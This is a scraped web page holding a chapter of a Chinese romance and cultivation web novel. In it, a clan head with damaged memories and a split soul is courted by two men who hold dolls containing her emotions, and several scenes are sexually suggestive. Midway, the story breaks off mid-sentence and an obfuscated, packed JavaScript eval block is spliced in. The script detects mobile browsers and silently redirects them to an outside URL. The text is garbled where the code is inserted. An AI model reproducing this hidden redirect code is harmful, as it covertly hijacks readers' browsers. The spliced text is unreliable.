默认冷灰
24号文字
方正启体

1. 01

作者:双口不是吕本书字数:K更新时间:
    天朗气清,惠风和畅。


    姜不燃念着念着,又看向远处。


    青黛色的山峦像是一面被雾气笼罩的屏风,静静地横亘在天边。一抹暖金色沿着山体缓缓滑下,泛着金光的水源源不断的从山顶蜿蜒而下,滋养万物。


    雨水充沛,灵气氤氲,万物生灵极富活力。


    唯独她不是。


    她合起书,感知着识海的剧烈疼痛慢慢平息下去。


    而与此同时,记忆却像隔着毛玻璃映射出的倒影,熟悉的人和事化作虚无的影子,看不清也记不住。


    “要不要换一本?”


    清润的男声蓦然出现在耳后,谢观之抽出姜不燃手里的书。将备好的清茶举到她嘴边,打断她的愁思。


    “你怎么来了?”


    伸出手将嘴边的苦茶推远些,姜不燃轻皱眉头,她也不爱喝这个。


    太苦,难喝。


    “黎砚说大长老给你签的综艺要开拍,他明天过来接你。”


    谢观之瞧着姜不燃的神色,心底有些好笑,故意将茶杯又举到她嘴边。


    “综艺?”


    姜不燃面色淡淡无所谓道,“很远么?”


    “不远,就在姜姜山。”


    谢观之笑了下,掩盖住眸底的苦涩,又忘记了。


    姜不燃看他一眼,先拒绝:“推了,我如今灵魂有损,再加上文明晋级近在眼前。”


    她啜饮一口苦茶,舌尖的苦意沿着舌根攀沿,激的整个脑子都清醒很多。


    “没心情去,大长老若不开心,你让她给我手续批了,我想种一亩茶田。”


    姜不燃小脸皱成一团,面上的风轻云淡消失的彻底。


    谢观之嘴边的坏笑藏不住,她轻哼一声,一手勾过人脖颈,以口渡之,让他也尝尝这个味道。


    唇齿相依间。


    喝的有些多了,她唇边有晶莹的水渍滑落,被人及时抿掉。


    谢观之漂亮的桃花眼泛起雾气,唇角微动,待还想继续,被姜不燃一把推开。


    “苦不苦?”


    她仰头笑的得意。


    “不苦。”


    谢观之将人揽进怀中,鼻头轻蹭着,呼吸着爱人身上清浅地药香,在人看不见的地方,眸底才隐现痛苦,“回味甘甜。”


    “那你喝完。”


    姜不燃举着杯子,眉头微挑,示意人张大嘴。


    总是在各种饮品中掺上药液,形成奇奇怪怪的味道。


    关键做这个的人她根本不敢反抗。


    “我喝是可以,但黎砚要是发现你没喝,你准备好怎么说?”


    谢观之将人公主抱起,沿着屋檐回到疗养室。


    雨下的有点久,哪怕刚刚中午,弥漫的雨气依旧潮湿的很,不适合病人久待。


    提到黎砚,姜不燃嘴里嘟囔几句,她的记忆还模糊着,但医生面对不听话病人的冷脸实在记忆深刻。


    姜不燃看着手里的杯子,深呼吸,一口气干掉大半。


    欸~难喝。


    越喝舌头越麻,但她不敢停下,只能在心理腹诽两句。


    谢观之有些吃味姜不燃的反应。


    每次提到黎砚她都很老实,面对他却张牙舞爪,耀武扬威的很。


    “你的身体最近刚好一点,不宜思绪纷杂,来。”


    他俯身叼起一枚甜果,凑到姜不燃嘴边。艳丽的桃花眼含薄雾,深深地似乎能望向姜不燃心底,“张嘴。”


    姜不燃苦的说不出话,迫切需要别的味道压住苦味,张嘴吞下果子,两唇相接,甜滋滋的味道在口腔漫开,柔软的唇瓣毫无顾忌地碾压着,力度大的几乎能将她吞吃入腹。


    鼻尖完全被谢观之身上的浅香占据,一时间喘不上气。姜不燃唇舌并用,好不容易夺得呼吸,顾不上擦拭嘴边的银丝,她瞪着谢观之,“你今天怎么回事?”


    亲的有些多了。


    “你不是来说综艺的么?”


    她可还没答应去啊。


    “良药苦口,但是我甜啊。”


    谢观之微微启唇,红舌舔舐着唇瓣,意犹未尽地轻啄爱人嘴角,笑道,“所以想让你多尝尝。”


    腰间的小小玩偶随着他的动作,轻轻摇曳,细线勾勒地眼睛似乎瞪大了些。


    说完,堵住姜不燃的嘴。


    对于她提到的综艺是一个字也不说了。


    时间回到昨天。


    姜家村住院部。


    一张刚刚答应出来的病例单正攥在黎砚手中。


    “姜燃身上到底发生了什么?”


    黎砚压抑着内心的愤怒,看着对面嘴比乌龟壳还硬的人,努力镇定下来,“我是她的爱人,我有这个权利知道实情。”


    爱人?


    姜铃嗤笑。


    别说爱人,如果不是她发现的及时,连她们这些亲人都不知道姜不燃自我牺牲的精神,会如此高尚。


    想一人换一群人活下去?


    她才不答应!


    姜家传承万载,靠的可不是个人牺牲。


    “不是我不说。”


    老人一头银发,大早特地从姜家村赶过来,就是怕小辈扛不住露了怯,坏她大计,“是说了你也帮不上忙,倒不如听我安排。”


    姜铃望着他,苍老的双目带着几分心痛。


    这个灵魂年龄已经千岁的老人,一想到姜不燃做的事,就止不住的后怕。


    “……你想我怎么做?”


    黎砚也知道眼前老人的本事。


    建国这么些年,姜家独占姜姜山脉这么久,不是没有其他人打过注意,都被眼前这个老人挡了回去,手段极为莫测。


    尤其是在世界异变后,还能守住莫大家业。


    如今,这个人却专门来找他,还带来这一份体检表。


    这是往常十几年从未发生过的事情,哪怕他当初被姜不燃选中,成为童养夫,老太太也只是送了一份贺礼,并未出山。


    他深呼吸,对于姜不燃的诸多猜测,在姜铃的举动下,设想愈发糟糕。


    黎砚深呼吸,努力压下心底的恐慌,一双深潭似的眼眸认真看着老人。


    “不燃是不是在三个月前的某一天交给了你两个玩偶?”


    姜铃开口。


    黎砚顺着她的话回想,是那两个姜不燃说是自己亲自做的玩偶,点头:“对,我随身带着。”


    说着,他就要将外套里的钥匙取出。


    “不用给我看,在你那就好。”


    姜铃制止了他的动作。


    “我来除了给你看这份报告外,还有件事想跟你商量。”


    “什么?”


    这语气,让黎砚莫名联想到某个人,他眼神警惕起来。


    “分一个玩偶给谢观之。”


    姜铃直接道。


    黎砚神色一变。


    “我知道这意味着什么,所以你先别生气。”


    见人神情愤怒,她想了想,又加了一句:“但是这都是为了燃燃。”


    “您说清楚。”


    黎砚额头青筋直跳,咬牙道。


    该不会又是谢观之那个绿茶搞出来的命中注定,非他不可的把戏吧。


    “说不清楚的。”


    姜铃叹气。


    她怎么说呢?


    说姜不燃的灵魂被她自己分割,拿去和人交易,只为了在末日,保障姜家村的众人如往常一般,安稳度日么?


    若不是她察觉到异样,及时截留两抹情念,如今村子里的有的只是她的躯壳。


    这都是不能谈及的秘密,一旦被人察觉到,姜家等候万年的机会也许会就此消散。


    她不能说。


    就连让姜不燃如何恢复都不能说的太直白。


    想到和某个系统的合作,姜铃面色神情更为凄苦。


    “你……”


    但毕竟涉及到小儿女的情事,作为姜不燃的长辈,又是看着两个男孩长大的,姜铃开口也有些艰涩,“你同意么?”


    “我同意就能救回姜不燃么?”


    黎砚问。


    “能。”


    姜铃点头。


    “我同意!”


    黎砚定定地看着姜铃,“大长老,我相信你。”


    “那就好。”


    姜铃望向眼前的人,目光一时间也柔和下来。


    都同意就好办了。


    她家燃燃的前途光明着呢,跟着她不吃亏。


    “观之,进来。”


    姜铃朝着门外喊了一句,带谢观之过来的时候,她并未避开人,所以黎砚自然也知道谢观之的到来。


    他看着熟悉的人推门,沉默片刻,将装玩偶的盒子取了出来。


    如今因为动植物异变,二人暂时搬到姜家村居住。


    但平日交流甚少,他忙着研究异变后药效突变的各种种草药,还没有了解过至于谢观之在干什么。


    如果不是大长老找上门来,他以为,姜不燃只是会在他们二人之中做选择。


    毕竟,一直以来,她都是这么做的。


    “你们俩一人一个玩偶,记住,选自己最心仪的拿。”


    姜铃有所顾忌,她起身,对着面前身高腿长的两个男人道,“选完之后,把这个吃下去。”


    拿出两枚五彩斑斓的玻璃珠,递给二人。


    黎砚和谢观之都没有犹豫地接过。


    “里面有我要说的话,你们照做就好。”


    交代好,姜铃看了又看,目光深切地注视着二人,神情慎重又像是释然,“接下来就交给你们了。”


    “啪嗒——”


    门关了。


    姜铃走远。


    “趁人之危?”


    黎砚嘲讽道。


    “还用趁么?”


    谢观之白他一眼,“就算燃燃不选择我,我也会像个影子一样插在你们中间,一辈子!”


    “我劝你早点习惯!”


    “你!”


    黎砚气结。


    但又无话可说。


    世界没异变前,这小子愣是没让他和燃燃有过二人世界,踏马的初吻照都是他拍下的。


    竟然还恬不知耻地送给燃燃,说作为纪念礼物。


    他千防万防,还是被这个苍蝇抓住空子。


    黎砚哼了声,将玻璃珠拿出来,举到身前,盒子里的一个玩偶中在发光。


    在二人眼皮子底下,玩偶身上始终模糊的字迹逐渐清晰起来。白底黑字的正楷一笔一划地像是有人在凭空描摹。


    一个写着欲,一个写着恶。


    “欲念给我。”


    谢观之将粉红的玩偶拿到手心,拇指大小的人偶刚刚入手,便发生变化。


    掌心一沉,玩偶体型变大为手掌大小,粗糙的皮肤光滑不少,眉眼模糊的五官也有了几分熟悉的模样。


    黎砚心里的怒火被眼前的变化浇了个冰凉,望着同步变化的恶念玩偶,他与谢观之一对视,跟着提示齐齐将玻璃珠吞下。


    坚硬的玻璃珠入口即化,如白水般平淡但熏人的味道直冲天灵盖。


    下一秒,姜铃的声音随着铃声响起。


    “玎珰珰~”


    “姜不燃情念小课堂开课了,请二位负责人认真倾听……”


    姜铃特意制作的动漫小剧场在他们脑海中上演。


    从开口一句话还有些清水外,其他都是十八禁的内容。


    她甚至贴心地给二人分配好了时间,以防身体跟不上的情况,如果不是缺少关键性信息,她连服侍的姿势都会规定好。


    面对二十人医闹也面不改色的黎砚最终红着脸听完整节课。


    等姜铃说下课的时候,他们统一松了口气。


    谢观之除了耳朵红润点,其他倒是没什么变化。


    毕竟从当初选出他和黎砚成为童养夫之后,他这些年一直试图撬墙角,但由于姜不燃太过于专心,除了偶尔能偷亲芳泽。


    墙角是一点没松。


    谢观之想到这里,目光有些暗淡,但很快打起精神,冲着黎砚淡定点头,按照大长老给的时间表,暂时隐退。


    “不燃现在村里,大长老说明天会醒,后天说有一档综艺。只给了我们三天时间准备。”


    他开口,神色低沉,“如果她真的不记得了,我们挨个试试看她能接受谁,如果需要一起……我会配合。”


    黎砚忍耐着,神色复杂地看着面前的男人。


    罢了,插足就插吧,总比老婆没了强。


    就当为老婆的身心健康考虑了,他十分大度。


    黎砚捏着病例单,内心流泪。


    呜呜~


    *


    但很不幸,计划只开始一天就夭折了。


    姜不燃即使记忆模糊,也很快知道了谢观之的异样,她无从查起过去的时光。


    但自己的身体,她很清楚。


    她对面前这个可口结实的肉//体感觉陌生。


    也就有了接下来的拷问,不,对话。


    “所以,你的意思是,我的七情如今只剩下这个欲念。”


    姜不燃像是听天书一般,良久才回过神,指着面前的玩偶,感觉谢观之说的话像是在瞎编。


    她虽说刚刚清醒,但脑子里的记忆并未完全散去。


    她还记得自己是谁,她是姜家万年以来,最具天赋的家主。


    最可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243095|197827||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能堪破姜家困境的人。


    三岁离开父母,进秘地修炼,十二岁破关而出,一举成为姜家现任家主,头号话事人。手下虽说只有十二个亲友下属,但个个修为高深,轻而易举就能推平所有敌对势力。


    不论是身份还是修为,都是此间顶尖,有谁敢对她的灵魂动手脚。就算是真的,给他机会,他也成功不了啊。


    没有谁能比她的灵魂强大。


    几位长老都不行,大长老别看年纪大,但她只长年纪,修为还不如她提升的快。


    如果真的这个可能,动手的人也只会是她自己。


    “你自己。”


    咦,还真是。


    姜不燃一秒安静。


    谢观之勾住她腮边落下的碎发,目光温柔,“你已经睡三个月,还记得么?”


    “我?三个月。”


    姜不燃听到这,她轻哼,“你这凡人妄自揣测,我如今修为即便没有,睡眠也无大碍。”


    “不要以为与我有几分亲昵关系,就满口胡言。”


    话是这么说,但修为空空荡荡,比脸还干净。


    她说话的语气少了份笃定。


    她以为记忆不清楚只是受伤导致的……她什么时候受的伤?


    念头刚起,姜不燃又是一愣。


    她目光无意识地滑移着,略显熟悉的封面落在眼底。


    马克思主义。


    姜不燃突然响起,她大学专业选的就是马克思啊。


    但为什么选马克思呢?


    使劲拍脑袋,这次她什么都没想起来。


    温热的大掌罩住她的额头,带着热气的毛巾敷在太阳穴两侧,不轻不重的力道随着指节缓慢释放着魔力。


    “好一点了么?”


    谢观之温和开口,丝毫不介意姜不燃的恶语,甚至还逮着空偷亲两下。


    姜不燃表情恹恹,松开捏住谢观之弱点的手,撑着他的腹肌起身:“你刚才说,我只有欲念,我其他的灵魂力量去哪了?”


    这次受伤看来很不简单。


    一直以来,她的目标都是让姜家摆脱桎梏,获得真正的自由,而不是为了一个低等世界殚精竭虑。


    所以,当初……她记得,她沉睡的地方实在一个极为黑暗的地方。


    什么时候回来的呢?


    洁白的贝齿咬着下嘴唇,姜不燃手掌滑动,不经意间落到不该落的位置,她摩梭着掌心的温热。


    肉眼看不见的粉色烟雾顺着掌心涌入心口。


    浑身时刻叫嚣的疼痛确实少了些。


    他没说谎。


    “我怎么回来的?我的记忆呢?”


    她问。


    屁股下的大腿微微颤动,肌肉磨动的幅度极小,但谁让她坐在人身上,感受的最为清楚。姜不燃握紧拳头,抵着掌下弱点,无声威胁。


    “不知道。”


    谢观之粗喘一声,才回答。


    姜不燃的泪莫名落下来。


    谢观之忍着反应,揽着姜不燃肩头,擦拭着,“别哭,我虽然不知道去哪了,但我们能找回来。”


    “能么?”


    脑海越来越空。


    姜不燃红着眼睛,眼泪控制不住地越来越多。


    心底的恐慌似乎压抑已久,她在谢观之身上感知到信任和爱恋,被人关怀的滋味一下子冲垮心防。


    她一手揽着弟弟的脖子,另一只垂在腿边,只指节轻动。轻微味道在鼻尖浮动,姜不燃心底疑惑越深,脸色泪水就落的越快。


    记忆出问题,如今连身体也出了问题。


    谢观之脸颊异常红润,但姐姐流泪的模样都漂亮的不可思议。


    “姐姐,你接受我么?”


    他哑着嗓音问。


    他问了这么多年,始终没有得到一个想要的回复。


    “接受啊。“


    姜不燃大咧咧开口,腿边的手无意识颤动。


    谢观之身体随之一抖,泪水沿着脸颊滑落。


    神情满足,痴痴地凝视着姜不燃的脸,眼眸深情。


    “不是这个接受。“


    他一手摩擦过姜不燃的手背,按住她的动作,“是你的心,接受我么?”


    “有区别么?”


    姜不燃泪也在落,像是颗颗饱满的珍珠滑出眼眶,她眼中的疑惑几乎压下去那股无由来涌现的恐慌。


    谢观之看在眼里,面色陡然悲戚:“如果你不能接受我也成为你的丈夫,我不会同意你碰我的。”


    说着,手掌用力,十指扣住姜不燃的手,将她扯离。


    啊?


    手中没了抓握,姜不燃感觉心脏蓦然一空。


    下意识开口想要说都接受,但话到嘴边,脑海里突然浮现一张脸,是昨天在山上看到的一个人,穿着白大褂,脸上戴着副金丝眼睛。


    高冷禁欲,只一眼,她就喜欢上了。


    当时想着去认识一下,但是一转头就给忘了。


    她如今记忆不好,总是忘事。


    “你刚才说什么?”


    姜不燃失神的有些久,突然忘了谢观之的话。只手掌像是有自己的想法,执着地去追求不该追求的。


    “……明天有人接你,你早点睡。”


    谢观之哽了下,心中的澎拜顿时哑火,他内心深深叹气,还是没有继续说下去。今天如果不是想帮黎砚试一下药是否对症,他也不会在综艺开播前来见姐姐。


    阿姐的失忆的速度是愈发的快了。


    但某方面倒是无师自通。


    “你……离我这么近。”


    姜不燃甚至都忘了自己还在哭,小脸通红。水汪汪的大眼睛愣愣地看着谢观之,像是一时间反应不过来自己在干什么,害羞垂眼,大胆邀请,“你要和我一起睡么?”


    谢观之脸色大变,双眸瞬间着火,抱着人就是一阵贴贴。


    额边,嘴角,鼻尖都亲了一遍,含着她耳垂的时候,那股子直冲心底的热意烧的姜不燃头脑灵光起来。


    医生!


    她的医生还没来得及认识呢。


    “我要睡了,男女有别,你出去!”


    “怎么,现在知道怕了,那你要知道我们还有孩子,会不会更怕。”


    谢观之轻而易举地再次放出炸弹,薄唇欢快地吃着姜不燃的眼泪,将早就想做的事情切切实实的做了一遍。


    但不等他继续介绍女儿,姜不燃眼前一黑,倒在他怀里。


    腰间咧嘴大笑的玩偶陡然没了胃口,跟着闭上眼。脸颊红粉一片,眨巴着嘴,似乎酣睡正甜。


    但玩偶内部的欲念收集度却往上增长了一些。


    顺毛撸这办法确实有用。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)